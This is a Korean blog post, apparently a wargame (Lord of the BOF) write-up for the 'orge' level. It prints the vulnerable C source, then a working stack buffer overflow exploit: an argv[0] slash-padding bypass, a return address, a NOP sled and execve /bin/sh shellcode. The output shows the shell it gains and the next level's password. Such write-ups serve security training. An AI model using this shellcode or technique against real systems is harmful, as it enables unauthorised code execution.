ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOB] darkelf
    hacking 2021. 8. 29. 18:58
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - orge
            - check argv[0]
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// here is changed!
    	if(strlen(argv[0]) != 77){
                    printf("argv[0] error\n");
                    exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
    }

     

    환경변수 x

    ret stack segment

    argv[1]길이 48이하

    buffer 변수 x

    argv[0]길이 77 (추가된 것)

     

    argv[0]은 실행 파일명을 의미한다

    argv[0]은 ./ 을 포함하기 때문에 ./orge 의 길이는 6

     

    argv[0]의 길이를 어떻게 늘릴까 고민하다

    /의 개수를 무한으로 늘려도 괜찮다는 것이 떠올랐다

    [darkelf@localhost darkelf]$ ./`python -c 'print "/"*71 + "orge"'` 123
    stack is still your friend.

     

    이로서 argv[0] error은 우회할 수 있게 되었다

     

    나머지 exploit은 이전 문제와 같다

    (agrv[0]의 길이에 따라 argv[2]의 addr이 달라질테니 이 부분만 수정해주면 된다)

     

    [darkelf@localhost darkelf]$ ./`python -c 'print "/"*71 + "orge"'` `python -c 'print "A" * 44 + "\x45\xfb\xff\xbf" + " " + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
    bash$ my-pass
    euid = 507
    timewalker
    bash$

     

     

    orge / timewalker

    'hacking' 카테고리의 다른 글

    [LOB] troll  (0) 2021.08.31
    [LOB] orge  (0) 2021.08.30
    [LOB] wolfman  (0) 2021.08.29
    [FTZ] level1  (0) 2021.08.28
    magic hash  (0) 2021.08.27

    댓글

Designed by Tistory.